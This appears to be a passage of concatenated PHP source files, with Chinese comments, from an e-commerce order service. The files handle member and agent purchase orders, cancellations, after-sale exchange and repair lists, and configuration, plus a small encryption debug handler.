= ($filter['debug'] == 1) ? true : false; $goodsList = array( array( 'GoodsID'=>11,//商品ID 'number'=>2 ), array( 'GoodsID'=>22, 'number'=>5 ) ); } /*****/ if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = MemberOrder::errorReturnData('3000','没有接收到货品信息'); exit(json_encode($returnData)); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = '';//调用接口获得商品信息。 $goodsIDList[] = $goodsID; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; MemberOrder::logError($goodsIDList,true); $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = MemberOrder::errorReturnData('3001','获取商品信息失败'); exit(json_encode($returnData)); } $productInfo = $productResource['data']; $orderGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; /** * 想办法将传过来的数据重组成可以给model类处理的方式。 * @var [type] */ $memberOrderInfo = $memberOrder->generateMemberOrder($orderInfo); exit(json_encode($memberOrderInfo)); break; } } ?><file_sep><?php /** * 处理订单 更改、取消 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3040-3050 8040-8050 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiHandleorder(& $core) { switch ($core->action) { case 'confirm': // 确认收货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { return MemberOrder::errorReturnData('3040','无法获取到用户订单编号'); } $confirmResult = $memberOrder->signOffOrder($memberOrderID); return $confirmResult; break; case 'cancle': // 取消订单 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { return MemberOrder::errorReturnData('3041','无法获取到用户订单编号'); } $confirmResult = $memberOrder->cancleOrder($memberOrderID); return $confirmResult; break; default: exit('请使用 confirm 或 cancle 调用此接口'); break; } } ?> <file_sep># bss-service-order > 将本地开发和服务器开发的两个分支统一管理,本地开发主要负责新功能开发,避免影响线上数据;服务器分支主要负责bug修改,满足及时性。 <file_sep><?php /** * config.inc * * @package core * @author Terry * @access public * @version v1.0 2013-03-10 */ //数据库连接参数 $_Database_Config = array( 'dbhost' => 'db.master', 'dbuser' => 'cukadmin', 'dbpass' => '<PASSWORD>', 'dbname' => 'cukorder', 'charset' => 'utf8', 'pconnect' => '0' ); // 支付方式 - 为APP提供 $_PayType_Config = array( array( 'type'=>'线上支付', 'name'=>'online', 'subtype'=>array( array('paytype'=>'weixin','payname' => '微信支付', 'image'=>'', 'memo'=>'推荐使用微信5.0以上版本使用'), array('paytype'=>'alipay','payname' => '支付宝支付', 'image'=>'', 'memo'=>'推荐支付宝的账户使用') ) ), array( 'type'=>'货到付款', 'name'=>'offline', 'subtype'=>null ) ); ?> <file_sep><?php function pageExample(& $core) { switch ($core->action) { case 'decrypt': $filter = $core->getFilter(); $sign = $filter['sign']; echo "揭秘数据\n"; $decrypt = $core->decrypt($sign); echo $decrypt . "\n"; echo "转成数组\n"; $data = json_decode($decrypt, true); var_dump($data); exit(); break; case 'decryptrequest': $filter = $core->getFilter(); $sign = $filter['sign']; $url = $filter['url']; unset($filter['url']); echo "\r\n揭秘数据\n"; $decrypt = $core->decrypt($sign); echo $decrypt; echo "\r\n转成数组\n"; $data = json_decode($decrypt, true); var_dump($data); var_dump($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $filter); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置是否返回信息 $response = curl_exec($ch); if(curl_errno($ch)){//出错则显示错误信息 echo "\n请求出错" . curl_error($ch) . "\r\n"; } $httpInfo = curl_getinfo($ch); $httpCode = $httpInfo['http_code']; var_dump($httpCode); curl_close($ch); echo "\r\n请求结果原始数据:\r\n"; echo $response; echo "\r\n解密后数据:\r\n"; $response = json_encode($core->decrypt($response), true); var_dump($response); exit(); exit(); break; default: // 将 请求的字段组成密文,请求。 $filter = $core->getFilter(); $url = $filter['url']; unset($filter['url']); $encryptFilter = $core->encrypt(json_encode($filter)); $request = array( 'sign'=>$encryptFilter ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置是否返回信息 $response = curl_exec($ch); if(curl_errno($ch)){//出错则显示错误信息 echo curl_error($ch) . "\r\n"; } curl_close($ch); echo "原始数据\r\n"; echo $response; echo "解密后数据\r\n"; $response = json_encode($core->decrypt($response), true); var_dump($response); exit(); break; } } ?><file_sep><?php /** * 代理商订单操作类 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3020-3040 8020-8040 */ /** * 为代理商生成采购订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiAgentGenerateorder(& $core) { switch($core->action) { // 提交换货单申请 case 'applyexchange': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $agentExchangeOrderInfo = $agentOrder->generateAgentExchangeOrder($orderInfo); exit(json_encode($agentExchangeOrderInfo)); break; // 提交返货单申请 case 'applyrepair': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrderInfo = $agentOrder->saveAgentPurchaseOrder($orderInfo); exit(json_encode($agentOrderInfo)); break; // 保存采购单 case 'save': $returnData = array('status' => 'failed', 'reason'=>'', 'data'=>''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $orderInfo = $filter; $orderInfo['OrderTypeID'] = AgentOrder::ORDERTYPE_AGENT_PURCHASE;//代理商购买。 $orderInfo['AgentPurchaseOrderStatusID'] = AgentOrder::AGENTORDERSTATUS_SAVE;//保存。 $orderInfo['goodsList'] = null;//下面添加 $orderInfo['SourceName'] = '';// 暂时不用处理 下面回填 $orderInfo['SourceID'] = 0;// 暂时不用处理 下面回填 /* 操作者编号 */ if ((int)$orderInfo['OperatorID'] <= 0) { $returnData = AgentOrder::errorReturnData('OPREATORID_IS_NULL','没有接收到操作者编号'); exit(json_encode($returnData)); } /* 操作者来源编号 */ if ((int)$orderInfo['OperatorSourceID'] <= 0) { $returnData = AgentOrder::errorReturnData('OPREATORSOURCEID_IS_NULL','没有接收到操作者来源编号'); exit(json_encode($returnData)); } /* 操作者来源类型编号 */ if ((int)$orderInfo['OperatorSourceTypeID'] <= 0) { $returnData = AgentOrder::errorReturnData('OPREATORSOURCETYPEID_IS_NULL','没有接收到操作者来源类型编号'); exit(json_encode($returnData)); } $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 unset($filter['goodsList']); if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = AgentOrder::errorReturnData('3020','没有接收到货品信息'); exit(json_encode($returnData)); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = '';//调用接口获得商品信息。 $goodsIDList[] = $goodsID; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = AgentOrder::errorReturnData('3021','获取商品信息失败'); exit(json_encode($returnData)); } $productInfo = $productResource['data']; $orderGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; /* 如果是加盟商向代理商下单,则必须传递HandlerID */ if ($orderInfo['IsCuk'] == 1) { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_OFFICIAL; } else { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_AGENT; if (!$orderInfo['HandlerID']) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('HANDLERID_NOT_NULL','加盟商下单必须传递上级代理商编号')); } } $agentOrderInfo = $agentOrder->saveAgentPurchaseOrder($orderInfo); exit(json_encode($agentOrderInfo)); break; // 修改采购单 case 'modify': $returnData = array('status' => 'failed', 'reason'=>'', 'data'=>''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $orderInfo = $filter; $orderInfo['goodsList'] = null;//下面添加 $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 unset($filter['goodsList']); if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = AgentOrder::errorReturnData('3020','没有接收到货品信息'); exit(json_encode($returnData)); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = '';//调用接口获得商品信息。 $goodsIDList[] = $goodsID; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = AgentOrder::errorReturnData('3021','获取商品信息失败'); exit(json_encode($returnData)); } $productInfo = $productResource['data']; $orderGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; /* 如果是加盟商向代理商下单,则必须传递HandlerID */ if ($orderInfo['IsCuk'] == 1) { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_OFFICIAL; } else { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_AGENT; if (!$orderInfo['HandlerID']) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('HANDLERID_NOT_NULL','加盟商下单必须传递上级代理商编号')); } } $agentOrderInfo = $agentOrder->modifyAgentPurchaseOrder($orderInfo); exit(json_encode($agentOrderInfo)); break; // 完善采购单 case 'complete': $returnData = array('status' => 'failed', 'reason'=>'', 'data'=>''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $orderInfo = $filter; $orderInfo['goodsList'] = null;//下面添加 $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 unset($filter['goodsList']); if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = AgentOrder::errorReturnData('3020','没有接收到货品信息'); exit(json_encode($returnData)); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = '';//调用接口获得商品信息。 $goodsIDList[] = $goodsID; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = AgentOrder::errorReturnData('3021','获取商品信息失败'); exit(json_encode($returnData)); } $productInfo = $productResource['data']; $orderGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; /* 如果是加盟商向代理商下单,则必须传递HandlerID */ if ($orderInfo['IsCuk'] == 1) { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_OFFICIAL; } else { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_AGENT; if (!$orderInfo['HandlerID']) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('HANDLERID_NOT_NULL','加盟商下单必须传递上级代理商编号')); } } $agentOrderInfo = $agentOrder->completeAgentPurchaseOrder($orderInfo); exit(json_encode($agentOrderInfo)); break; // 生成采购单 default: $returnData = array('status' => 'failed', 'reason'=>'', 'data'=>''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $orderInfo = $filter; $orderInfo['OrderTypeID'] = AgentOrder::ORDERTYPE_AGENT_PURCHASE;//代理商购买。 $orderInfo['goodsList'] = null;//下面添加 $orderInfo['SourceName'] = '';// 暂时不用处理 下面回填 $orderInfo['SourceID'] = 0;// 暂时不用处理 下面回填 // 是否为补货单 if ($orderInfo['IsReplenishOrder'] == AgentOrder::REPLENISHORDER_IS_TRUE) { $orderInfo['AgentPurchaseOrderStatusID'] = AgentOrder::AGENTORDERSTATUS_REVIEW_SUCCESS; // 待发货 } else { $orderInfo['IsReplenishOrder'] = AgentOrder::REPLENISHORDER_IS_FALSE; $orderInfo['AgentPurchaseOrderStatusID'] = AgentOrder::AGENTORDERSTATUS_UNVERIFY; // 待支付。 } /* 操作者编号 */ if ((int)$orderInfo['OperatorID'] <= 0) { $returnData = AgentOrder::errorReturnData('OperatorID_IS_NULL','没有接收到操作者编号'); exit(json_encode($returnData)); } /* 操作者来源编号 */ if ((int)$orderInfo['OperatorSourceID'] <= 0) { $returnData = AgentOrder::errorReturnData('OperatorSourceID_IS_NULL','没有接收到操作者来源编号'); exit(json_encode($returnData)); } /* 操作者来源类型编号 */ if ((int)$orderInfo['OperatorSourceTypeID'] <= 0) { $returnData = AgentOrder::errorReturnData('OperatorSourceTypeID_IS_NULL','没有接收到操作者来源类型编号'); exit(json_encode($returnData)); } $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 unset($filter['goodsList']); if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = AgentOrder::errorReturnData('3020','没有接收到货品信息'); exit(json_encode($returnData)); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = '';//调用接口获得商品信息。 $goodsIDList[] = $goodsID; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = AgentOrder::errorReturnData('3021','获取商品信息失败'); exit(json_encode($returnData)); } $productInfo = $productResource['data']; $orderGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; /* 如果是加盟商向代理商下单,则必须传递HandlerID */ if ($orderInfo['IsCuk'] == 1) { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_OFFICIAL; $agentOrderInfo = $agentOrder->generateAgentPurchaseOrderForAgent($orderInfo); } else { $orderInfo['HandlerTypeID'] = AgentOrder::HANDLERTYPEID_AGENT; if (!$orderInfo['HandlerID']) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('HandlerID_NOT_NULL','加盟商下单必须传递上级代理商编号')); } $agentOrderInfo = $agentOrder->generateAgentPurchaseOrderForStore($orderInfo); } exit(json_encode($agentOrderInfo)); break; } } ?><file_sep><?php /** * 获得过程订单数据,比如待打包的状态。 * @author Chuanjin <[<email address>]> */ function pageApiMemberGetprocessorderinfo($core) { switch ($core->action) { case 'getreceiverinfo': $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_NULL','无法获取到订单编号'); MemberOrder::exitJsonData($returnData); } $packOrderGoodsInfo = $memberOrder->getPackOrderGoodsEntity($coreOrderID); $specialFields = array('ReceiverName','ReceiverMobile','ProvinceID','CityID','AreaID','Address'); $memberOrderDetail = $memberOrder->getMemberOrderDetail(null, $specialFields, $coreOrderID); // 处理$memberOrderDetail中的省市区、下单人的信息。 $param['ProvinceID'] = $memberOrderDetail['ProvinceID']; $param['CityID'] = $memberOrderDetail['CityID']; $param['CountyID'] = $memberOrderDetail['AreaID']; $param['action'] = 'getwholeaddress'; // 获得名称。 $areaResource = $core->getApiData('system', '/api/getareaname.php', $param, 'post'); $data = $areaResource['data']; $receiverInfo['ReceiverAddress'] = $data['ProvinceName'] . $data['CityName'] . $data['AreaName'] . $data['Address']; $receiverInfo['ReceiverName'] = $memberOrderDetail['ReceiverName']; $receiverInfo['ReceiverMobile'] = $memberOrderDetail['ReceiverMobile']; $successData['receiverInfo'] = $receiverInfo; $successData['CoreOrderID'] = $coreOrderID; $successData['packOrderGoodsInfo'] = $packOrderGoodsInfo['GoodsInfo']; $returnData = MemberOrder::successReturnData($successData); MemberOrder::exitJsonData($returnData); break; case 'getOrderGoodsEntity': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $coreOrderID = $filter['CoreOrderID']; if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('CoreOrderID_IS_ILLEGAL','订单编号不能为空'); MemberOrder::exitJsonData($returnData); } $goodsEntityList = $memberOrder->getOrderGoodsEntityList(); $data = $goodsEntityList; MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getpacklistforapp': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $fields = array('CoreOrderID','MemberOrderStatusID'); $filter['MemberOrderStatusID'] = array(MemberOrder::MEMBERORDERSTATUS_PICKOFF,MemberOrder::MEMBERORDERSTATUS_PACKING); $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $fields); $goodsFields = array('CoreOrderGoodsID','GoodsID','GoodsName','GoodsCount'); foreach ($memberOrderList as $orderKey => $orderItem) { // 获取商品 $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail(null, $goodsFields, $orderItem['CoreOrderID']); foreach ($memberOrderGoodsList as $key => $goodsItem) { $memberOrderGoodsList[$key]['GoodsID'] = $goodsItem['GoodsID']; $memberOrderGoodsList[$key]['GoodsName'] = $goodsItem['GoodsName']; $memberOrderGoodsList[$key]['GoodsCount'] = $goodsItem['GoodsCount']; // 如何展示属性 $coreOrderGoodsID = $goodsItem['CoreOrderGoodsID']; $attrFields = array('AttributeName','AttributeValue'); $specFields = array('SpecificationName','SpecificationValue'); $attrSpecList = $memberOrder->getMemberOrderAttrSpec($coreOrderGoodsID, $attrFields, $specFields); $attrList = $attrSpecList['attribute']; $specList = $attrSpecList['specification']; $attribute = ''; $specification = ''; foreach ($attrList as $attrKey => $attrItem) { $attribute .= $attrItem['AttributeName'] . $attrItem['AttributeValue']; } foreach ($specList as $specKey => $specItem) { $specification .= $specItem['SpecificationName'] .':'. $specItem['SpecificationValue'] . ' '; } $memberOrderGoodsList[$key]['Info'] = trim($attribute . ' ' . $specification); } $memberOrderList[$orderKey]['GoodsList'] = $memberOrderGoodsList; } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: # code... break; } }<file_sep><?php /** * 操作返修单 * @category AgentOrder * @package RepairOrder * @author huangzhen <<EMAIL>> * @version v1.0 2016-04-15 */ function pageApiAgentHandlerepairorder(&$core) { switch ($core->action) { // 审核通过 case 'verifysuccess': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $data = ''; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; // 审核失败 case 'verifyfailed': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $data = ''; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; // 发货 case 'sendGoods': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $data = ''; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; default: # code... break; } } ?><file_sep><?php /** * 获得有资格进行退返修的订单 */ function pageApiMemberGetaftersaleorderlist($core) { switch ($core->action) { case 'getrecord': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberID = (int)$filter['MemberID']; // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $type = $filter['type']; if (!$memberID) { $returnData = MemberOrder::errorReturnData('MemberID_IS_NULL','无法获取到用户编号'); $core->echoJsonEncrypt($returnData); } if ($type == 'return') { $memberOrderCount = $memberOrder->getMemberReturnOrderCount($filter); } if ($type == 'exchange') { $memberOrderCount = $memberOrder->getMemberExchangeOrderCount($filter); } if ($type == 'repair') { $memberOrderCount = $memberOrder->getMemberRepairOrderCount($filter); } $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; if ($type == 'return') { $specialFields = array('MemberReturnOrder.CoreOrderID','MemberReturnOrder.AddTime','MemberReturnOrder.MemberReturnOrderStatusID','MemberOrder.CoreOrderID as OriginOrderID','GoodsID'); $memberOrderList = $memberOrder->getMemberReturnOrderList($pager, $filter, $sort, $specialFields); } if ($type == 'exchange') { $specialFields = array('MemberExchangeOrder.CoreOrderID','MemberExchangeOrder.AddTime','MemberExchangeOrder.MemberExchangeOrderStatusID','MemberOrder.CoreOrderID as OriginOrderID','GoodsID'); $memberOrderList = $memberOrder->getMemberExchangeOrderList($pager, $filter, $sort, $specialFields); } if ($type == 'repair') { $specialFields = array('MemberExchangeOrder.CoreOrderID','MemberExchangeOrder.AddTime','MemberExchangeOrder.MemberRepairOrderStatusID','MemberOrder.CoreOrderID as OriginOrderID','GoodsID'); $memberOrderList = $memberOrder->getMemberRepairOrderList($pager, $filter, $sort, $specialFields); } foreach ($memberOrderList as $memberOrderKey => $memberOrderItem) { // 获取状态名称 if ($type == 'return') { $statusID = $memberOrderItem['MemberReturnOrderStatusID']; $memberOrderList[$memberOrderKey]["StatusName"] = MemberOrder::getMemberReturnOrderStatusNameByStatusID($statusID); } if ($type == 'exchange') { $statusID = $memberOrderItem['MemberExchangeOrderStatusID']; $memberOrderList[$memberOrderKey]["StatusName"] = MemberOrder::getMemberExchangeOrderStatusNameByStatusID($statusID); } if ($type == 'repair') { $statusID = $memberOrderItem['MemberRepairOrderStatusID']; $memberOrderList[$memberOrderKey]["StatusName"] = MemberOrder::getMemberRepairOrderStatusNameByStatusID($statusID); } // 获取商品名称 $goodsID = $memberOrderItem['GoodsID']; $coreOrderID = $memberOrderItem['OriginOrderID']; $goodsName = $memberOrder->getGoodsNameByGoodsOrderIDAndGoodsID($coreOrderID,$goodsID); $memberOrderList[$memberOrderKey]['GoodsName'] = $goodsName; } $data['orderList'] = $memberOrderList; $data['orderCount'] = $memberOrderCount; $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberID = (int)$filter['MemberID']; // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; if (!$memberID) { $returnData = MemberOrder::errorReturnData('MemberID_IS_NULL','无法获取到用户编号'); $core->echoJsonEncrypt($returnData); } $afterSaleOrderStatusList = MemberOrder::getAfterSaleOrderStatusIDList(); $filter['MemberOrderStatusID'] = $afterSaleOrderStatusList; $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $specialFields = array('MemberOrderID','CoreOrderID','AddTime'); $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $specialFields); $goodsFields = array('CoreOrderGoodsID','GoodsID','CoreOrderID','GoodsImagePath','GoodsCount'); foreach ($memberOrderList as $orderKey => $orderItem) { $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail($orderItem['MemberOrderID'],$goodsFields); $memberOrderList[$orderKey]['goodsList'] = $memberOrderGoodsList; } $data['orderList'] = $memberOrderList; $data['orderCount'] = $memberOrderCount; $returnData = MemberOrder::successReturnData($data); MemberOrder::exitJsonData($returnData); break; default: # code... break; } } ?><file_sep><?php function pageApiTest(& $core) { switch($core->action) { default: exit('Interface all success!'); break; } } ?> <file_sep><?php /** * 操作换货单 * @category AgentOrder * @package ExchangeOrder * @author huangzhen <<EMAIL>> * @version v1.0 2016-04-15 */ function pageApiAgentHandleexchangeorder(&$core) { switch ($core->action) { // 审核通过 case 'verifysuccess': break; // 审核失败 case 'verifyfailed': break; // 发货 case 'sendGoods': break; default: # code... break; } } ?><file_sep><?php /** * 查询订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetexchangeorderinfo(& $core) { switch ($core->action) { case 'getdetail': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberExchangeOrderID']; if (!$memberOrderID) { return MemberOrder::errorReturnData('MemberExchangeOrderID_IS_NULL','无法获取到用户换货订单编号'); } $memberOrderDetail = (array)$memberOrder->getMemberExchangeOrderDetail($memberOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 $memberOrderGoodsDetail = (array)$memberOrder->getMemberExchangeOrderGoodsDetail($memberOrderID); $data = array('memberExchangeOrderDetail'=>$memberOrderDetail,'memberExchangeOrderGoodsDetail'=>$memberOrderGoodsDetail); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; // 搜索信息 // $condition['MemberID'] = (int)$filter['MemberID'] ? (int)$filter['MemberID'] : null; // $condition['MemberOrderStatusID'] = $filter['MemberOrderStatusID']; // $condition['SourceTypeID'] = $filter['SourceTypeID']; $memberOrderCount = $memberOrder->getMemberExchangeOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $memberOrderList = $memberOrder->getMemberExchangeOrderList($pager, $filter, $sort); /* foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $memberOrderList[$orderKey]['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $memberIDList[] = $orderItem['MemberID']; if ($filter['getGoodsSN'] == 1) { $memberOrderList[$orderKey]['GoodsSN'] = $memberOrder->getMemberOrderGoodsSNString($orderItem['CoreOrderID']);// 订单商品编号。 } } $param['MemberID'] = array_unique($memberIDList); $param['action'] = 'getmemberinfotoorder'; $memberInfoSource = $core->getApiData('member','/api/member.php',$param,'post'); $memberInfoList = $memberInfoSource['data']; foreach ($memberOrderList as $orderKey => $orderItem) { $memberOrderList[$orderKey]['RealName'] = 